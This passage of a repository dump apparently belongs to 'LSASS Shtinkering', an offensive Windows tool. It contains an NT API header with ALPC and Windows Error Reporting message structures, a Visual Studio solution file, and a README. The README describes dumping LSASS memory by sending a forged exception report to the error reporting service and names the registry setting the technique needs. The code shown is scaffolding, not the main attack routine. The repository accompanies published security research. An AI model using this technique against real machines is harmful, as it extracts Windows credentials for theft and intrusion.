    "path": "LSASS_Shtinkering/ntddk.h",
    "content": "#ifndef __NTDLL_H__\n#define __NTDLL_H__\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n#include <Windows.h>\n\n#ifndef _NTDLL_SELF_                            // Auto-insert the library\n#pragma comment(lib, \"Ntdll.lib\")\n#endif\n\n#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)\n#define EVENT_QUERY_STATE 0x0001\n#define ALPC_MSGFLG_SYNC_REQUEST 0x20000\n\ntypedef short CSHORT;\ntypedef struct _QUAD\n{\n\tunion\n\t{\n\t\tINT64 UseThisFieldToCopy;\n\t\tfloat DoNotUseThisField;\n\t};\n} QUAD, * PQUAD;\n\ntypedef struct _CLIENT_ID\n{\n\tHANDLE UniqueProcess;\n\tHANDLE UniqueThread;\n\n} CLIENT_ID, * PCLIENT_ID;\n\ntypedef struct PORT_MESSAGE\n{\n\tunion\n\t{\n\t\tstruct\n\t\t{\n\t\t\tCSHORT DataLength;\n\t\t\tCSHORT TotalLength;\n\t\t} s1;\n\t\tULONG Length;\n\t} u1;\n\tunion\n\t{\n\t\tstruct\n\t\t{\n\t\t\tCSHORT Type;\n\t\t\tCSHORT DataInfoOffset;\n\t\t} s2;\n\t\tULONG ZeroInit;\n\t} u2;\n\tunion\n\t{\n\t\tCLIENT_ID ClientId;\n\t\tQUAD DoNotUseThisField;\n\t};\n\tULONG MessageId;\n\tunion\n\t{\n\t\tSIZE_T ClientViewSize;\n\t\tULONG CallbackId;\n\t};\n} PORT_MESSAGE, * PPORT_MESSAGE;\n\nstruct ReportExceptionWerAlpcMessage\n{\n\tPORT_MESSAGE PortMessage;\n\tDWORD MessageType;\n\tNTSTATUS NtStatusErrorCode;\n\tDWORD Flags;\n\tDWORD TargetProcessId;\n\tHANDLE hFileMapping;\n#ifndef _WIN64\n\tDWORD Filler0;\n#endif\n\tHANDLE hRecoveryEvent;\n#ifndef _WIN64\n\tDWORD Filler1;\n#endif\n\tHANDLE hCompletionEvent;\n#ifndef _WIN64\n\tDWORD Filler2;\n#endif\n\tHANDLE hFileMapping2;\n#ifndef _WIN64\n\tDWORD Filler3;\n#endif\n\tHANDLE hTargetProcess;\n#ifndef _WIN64\n\tDWORD Filler4;\n#endif\n\tHANDLE hTargetThread;\n#ifndef _WIN64\n\tDWORD Filler5;\n#endif\n\tDWORD Filler6[324];\n};\n\nstruct MappedViewStruct\n{\n\tDWORD Size;\n\tDWORD TargetProcessPid;\n\tDWORD TargetThreadTid;\n\tDWORD Filler0[39];\n\t_EXCEPTION_POINTERS* ExceptionPointers;\n#ifndef _WIN64\n\tDWORD Filler1;\n#endif\n\tDWORD NtErrorCode;\n\tDWORD Filler2;\n\tHANDLE hTargetProcess;\n#ifndef _WIN64\n\tDWORD Filler3;\n#endif\n\tHANDLE hTargetThread;\n#ifndef _WIN64\n\tDWORD Filler4;\n#endif\n\tHANDLE hRecoveryEvent;\n#ifndef _WIN64\n\tDWORD Filler5;\n#endif\n\tHANDLE hCompletionEvent;\n#ifndef _WIN64\n\tDWORD Filler6;\n#endif\n\tDWORD Filler7;\n\tDWORD Filler8;\n\tDWORD Null01;\n\tDWORD Null02;\n\tDWORD NtStatusErrorCode;\n\tDWORD Null03;\n\tDWORD TickCount;\n\tDWORD Unk101;\n};\n\ntypedef struct _WNF_TYPE_ID {\n\tGUID\tTypeId;\n} WNF_TYPE_ID, * PWNF_TYPE_ID;\ntypedef const WNF_TYPE_ID* PCWNF_TYPE_ID;\ntypedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;\ntypedef ULONG LOGICAL;\ntypedef ULONG* PLOGICAL;\n\ntypedef struct _UNICODE_STRING\n{\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tPWSTR  Buffer;\n\n} UNICODE_STRING, * PUNICODE_STRING;\n\ntypedef struct _OBJECT_ATTRIBUTES\n{\n\tULONG Length;\n\tHANDLE RootDirectory;\n\tPUNICODE_STRING ObjectName;\n\tULONG Attributes;\n\tPVOID SecurityDescriptor;\n\tPVOID SecurityQualityOfService;\n\n} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;\n\ntypedef struct _ALPC_PORT_ATTRIBUTES\n{\n\tULONG Flags;\n\tSECURITY_QUALITY_OF_SERVICE SecurityQos;\n\tSIZE_T MaxMessageLength;\n\tSIZE_T MemoryBandwidth;\n\tSIZE_T MaxPoolUsage;\n\tSIZE_T MaxSectionSize;\n\tSIZE_T MaxViewSize;\n\tSIZE_T MaxTotalSectionSize;\n\tULONG DupObjectTypes;\n#ifdef _WIN64\n\tULONG Reserved;\n#endif\n} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;\n\ntypedef struct _ALPC_MESSAGE_ATTRIBUTES\n{\n\tULONG AllocatedAttributes;\n\tULONG ValidAttributes;\n} ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;\n\nenum WerSvcMessageId\n{\n\tRequestReportUnhandledException = 0x20000000,\n\tReplyReportUnhandledExceptionSuccess = 0x20000001,\n\tReplyReportUnhandledExceptionFailure = 0x20000002,\n\tRequestSilentProcessExit = 0x30000000,\n\tResponseSilentProcessExitSuccess = 0x30000001,\n\tResponseSilentProcessExitFailure = 0x30000002\n};\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenEvent(\n\tOUT PHANDLE EventHandle,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN POBJECT_ATTRIBUTES ObjectAttributes\n);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWaitForSingleObject(\n\tIN HANDLE Handle,\n\tIN BOOLEAN Alertable,\n\tIN PLARGE_INTEGER Timeout OPTIONAL\n);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtClose(\n\tIN  HANDLE Handle\n);\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitUnicodeString(\n\tPUNICODE_STRING DestinationString,\n\tPCWSTR SourceString\n);\n\ntypedef NTSTATUS\n(NTAPI* NtUpdateWnfStateData_func)(\n\t_In_ PVOID StateName,\n\t_In_reads_bytes_opt_(Length) const VOID* Buffer,\n\t_In_opt_ ULONG Length,\n\t_In_opt_ PCWNF_TYPE_ID TypeId,\n\t_In_opt_ const VOID* ExplicitScope,\n\t_In_ WNF_CHANGE_STAMP MatchingChangeStamp,\n\t_In_ LOGICAL CheckStamp);\n\n#include <evntcons.h>\ntypedef ULONG(__stdcall* EtwEventWriteNoRegistration_func)(\n\t_In_ LPCGUID ProviderId,\n\t_In_ PCEVENT_DESCRIPTOR EventDescriptor,\n\t_In_ ULONG UserDataCount,\n\t_In_reads_opt_(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData\n\t);\n\ntypedef LONG(WINAPI* NtAlpcSendWaitReceivePort_func)(\n\t_In_ HANDLE \tPortHandle,\n\t_In_ ULONG \tFlags,\n\t_In_reads_bytes_opt_(SendingMessage->u1.s1.TotalLength) PPORT_MESSAGE \tSendingMessage,\n\t_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES \tSendingMessageMessageAttributes,\n\tPPORT_MESSAGE \tReceiveMessage,\n\t_Inout_opt_ PSIZE_T \tBufferLength,\n\t_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES \tReceiveMessageAttributes,\n\t_In_opt_ PLARGE_INTEGER \tTimeout);\n\ntypedef LONG(WINAPI* NtAlpcConnectPort_func)(\n\t_Out_ PHANDLE \tPortHandle,\n\t_In_ PUNICODE_STRING \tPortName,\n\t_In_opt_ POBJECT_ATTRIBUTES \tObjectAttributes,\n\t_In_opt_ PALPC_PORT_ATTRIBUTES \tPortAttributes,\n\t_In_ ULONG \tFlags,\n\t_In_opt_ PSID \tRequiredServerSid,\n\t_Inout_ PPORT_MESSAGE \tConnectionMessage,\n\t_Inout_opt_ PULONG \tBufferLength,\n\t_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES \tOutMessageAttributes,\n\t_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES \tInMessageAttributes,\n\t_In_opt_ PLARGE_INTEGER \tTimeout);\n\n#ifdef __cplusplus\n} // extern \"C\"\n#endif\n\n#endif // __NTDLL_H__"
  },
  {
    "path": "LSASS_Shtinkering.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.32407.337\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"LSASS_Shtinkering\", \"LSASS_Shtinkering\\LSASS_Shtinkering.vcxproj\", \"{476FC126-239F-4D58-8389-E1C0E93C2C5E}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x64.Build.0 = Debug|x64\n\t\t{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Debug|x86.Build.0 = Debug|Win32\n\t\t{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x64.ActiveCfg = Release|x64\n\t\t{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x64.Build.0 = Release|x64\n\t\t{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x86.ActiveCfg = Release|Win32\n\t\t{476FC126-239F-4D58-8389-E1C0E93C2C5E}.Release|x86.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {7CDF1F4C-173E-42D6-AC24-6C2F9795B327}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "README.md",
    "content": "# Lsass Shtinkering\nNew method of dumping LSASS by abusing the Windows Error Reporting service.\nIt sends a message to the service with the ALPC protocol to report an exception on LSASS.\nThis report will cause the service to dump the memory of LSASS.\n\n## Prerequisites\nThe registry value \"DumpType\" under \"HKLM\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\LocalDumps\" should be set to 2.\n\n## Credits\n\n* [Asaf Gilboa](https://twitter.com/asaf_gilboa)\n\n## References\n- https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf\n"
  }
]